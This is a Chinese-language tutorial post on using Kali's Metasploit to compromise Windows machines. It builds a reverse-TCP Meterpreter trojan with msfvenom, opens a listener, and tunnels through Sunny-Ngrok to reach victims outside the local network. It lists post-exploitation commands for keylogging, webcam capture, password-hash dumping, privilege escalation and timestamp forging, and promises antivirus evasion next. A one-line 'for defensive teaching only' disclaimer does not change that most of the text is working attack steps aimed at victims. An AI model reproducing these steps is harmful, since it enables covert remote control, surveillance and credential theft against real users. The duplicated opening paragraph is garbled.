Kali使用Metasploit内、外网渗透windows系统
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。一、(内网渗透)内网英文缩写WAN;内网又称局域网局域网的覆盖范围一般是方圆几千米之内,其具备的安装便捷、成本节约、扩展方便等特点使其在各类办公室内运
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。
Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
一、(内网渗透)内网英文缩写LAN;内网又称局域网
局域网的覆盖范围一般是方圆几千米之内,其具备的安装便捷、成本节约、扩展方便等特点使其在各类办公室内运用广泛。局域网可以实现文件管理、应用软件共享、打印机共享等功能,在使用过程当中,通过维护局域网网络安全,能够有效地保护资料安全,保证局域网网络能够正常稳定的运行。
使用MSF制作木马:
msf opthions:
-p, --payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用’-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled 为payload预先指定一个NOP滑动长度
-f, --format 指定输出格式 (使用 —help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch 指定payload的目标架构
--platform 指定payload的目标平台
-s, --space 设定有效攻击荷载的最大长度
-b, --bad-chars 设定规避字符集,比如: ‘\x00\xff’
-i, --iterations 指定payload的编码次数
-c, --add-code 指定一个附加的win32 shellcode文件
-x, --template 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out 保存payload
-v, --var-name 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, —help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
1、用ip a或者ifconfig查询kali 的ip
-p:指定payload脚本模块,lhost:指定传回本地kali的IP,(我本机kali地址为192.168.245.140)
lport:指定传回kali的端口,-f:输出文件类型,
-o:指定存放路径和要生成的脚本名称。
2、制作木马命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=xxxx.xxx.xxx lport=4444 -f exe -o /root/shell.exe
在kali的root目录下把刚刚生成的脚本发给同一局域网下的Windows目标主机(如果是在虚拟机下测试虚拟机网络设置为NAT模式或者桥接模式这样kali和windows就处于同一局域网下;测试下windows是否能够ping通kali,两台主机不能够ping通的话受害机运行木马程序是不会反弹shell)
3、打开MSF控制台
msfconsole
4、设置payload,加载攻击模块设置本地IP和监听端口
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.245.140
set LPORT 4444
show options (查看IP端口设置情况)
run (开启监听)
等待目标主机执行木马反弹shell即可操控对方电脑
Metasploit脚本命令:
系统模块
Help:打开 Meterpreter 使用帮助
run scriptname:运行 Meterpreter 脚本,在 scripts/meterpreter 目录下可查看到所有脚本
use priv:加载特权提升扩展模块,来扩展 Meterpreter 库
getprivs:尽可能多地获取目标主机上的特权
per:通过各种攻击向量来提升到系统用户权限
shell : 以所有可用令牌来运行一个交互的shell
hashdump:导出目标主机中的口令哈希值
rev2self:回到控制目标主机的初始用户账户下
setdesktop number:切换到另一个用户界面(该功能基于哪些用户已登录)
screenshot:对目标主机的屏幕进行截图
background:将当前 Meterpreter shell 转为后台执行
quit:关闭当前Meterpreter会话,返回MSF终
webcam_list (查看有无摄像头)
webcam_snap (通过摄像头拍照)
webcam_stream (通过摄像头开启视频)
鼠标键盘模块
uictl开关键盘/鼠标
uictl disable mouse (禁用鼠标)
uictl disable keyboard(禁用键盘)
uictl enable mouse (启用鼠标)
uictl enable keyboard (启用键盘)
keyscan_start 针对目标主机开启键盘记录功能
keyscan_dump 存储目标主机上捕获的键盘记录
keyscan_stop 停止针对目标主机的键盘记录
uictl enable keyboard/mouse接管目标主机的键盘和鼠标
文件模块
ls列出目标主机的文件和文件夹信息
reg command在目标主机注册表中进行交互,创建、删除、查询等
upload file向目标主机上传文件
download file从目标主机下载文件
timestomp修改文件属性,例如修改文件的创建时间
例如:timestomp file1 -f file2将file1文件的时间信息设置得与file2文件完全一样
cat查看文件内容
getwd获得目标机上当前的工作目录
edit编辑目标机上的文件
search对目标机上的文件进行搜索,支持星号匹配,如
search -d c:\windows -f *.mdb
execute执行文件
execute (在目标机执行文件)
execute -f cmd.exe -H -i -t(创建新进程cmd.exe, -H不可见,-i交互)
shutdown -r (重启)
shutdown -p(立即关机)
二、(外网渗透)外网英文缩写WAN;外网又称广域网、公网。
外网是连接不同地区局域网或城域网计算机通信的远程网。通常跨接很大的物理范围,所覆盖的范围从几十公里到几千公里,它能连接多个地区、城市和国家,或横跨几个洲并能提供远距离通信,形成国际性的远程网络。广域网并不等同于互联网。
处于不同局域网的两台主机是不能够互相ping通的,所以必须将攻击者的ip映射到公网上,这样受害机运行木马才能够反弹shell。
内网穿透是我们在进行网络连接时的一种术语,也叫做NAT穿透,即在计算机是局域网内的时候,外网与内网的计算机的节点进行连接时所需要的连接通信,有时候就会出现内网穿透不支的情况。内网穿透的功能就是,当我们在端口映射时设置时,内网穿透起到了地址转换的功能,也就是把公网的地址进行翻译,转成为一种私有的地址,然后再采用路由的方式ADSL的宽带路由器,具有一个动态或者是固定的公网IP,最后ADSL直接在交换机上,这样所有的电脑都可以共享上网。内网穿透除了可以实现内网之间机器的网络通信功通之外。
一旦获得了对系统的访问权限,攻击者可以进行侦听,横向移动及尝试提升特权,达到窃取系统或数据库中敏感数据的目的,对服务器安全乃至内网安全的危害不言而喻。
这里我们到Sunny-Ngrok内网穿透服务使kali主机与Sunny-Ngrok公网服务器连接,这样处于不同局域网的主机访问Sunny-Ngrok给出的TCP隧道,数据将会传回kali主机。
Sunny-Ngrok提供免费内网穿透服务,免费服务器支持绑定自定义域名
1、进入Ngrok网站注册一个用户(Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器)
2、开通TCP隧道
3、下载Ngrok客户端(Sunny-Ngrok内网转发)
根据攻击机系统情况下载客户端版本(这里下载Linux 64bita版本)
把下载好的Ngrok压缩包存放到kali的root目录下
命令解压缩:unzip linux_amd64(压缩包名)
进入解压好的目录:
cd linux_amd64
启动隧道映射TCP服务:
./sunny clientid (隧道id)
4、MSF生成外网木马程序
注意:这里lhost和lport分别为赠送的域名和端口
msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.com lport=10306 -f exe -o /root/shell.exe
lhost填TCP隧道上面的域名,lport填TCP域名后面的端口
5、打开msf设置payload,加载攻击模块设置本地IP和监听端口
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.245.140
set LPORT 4444
show options (查看IP端口设置情况)
run (开启监听)
6、转发生成的木马程序给目标机运行-目标机运行木马-反弹shell-操控目标机
7、对目标主机进行截图看看对方电脑正在干什么
screenshot
root目录下查看截图
该教程仅用于信息防御技术教学请勿用于其他用途
后续更新免杀payload木马程序,过360、火绒。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)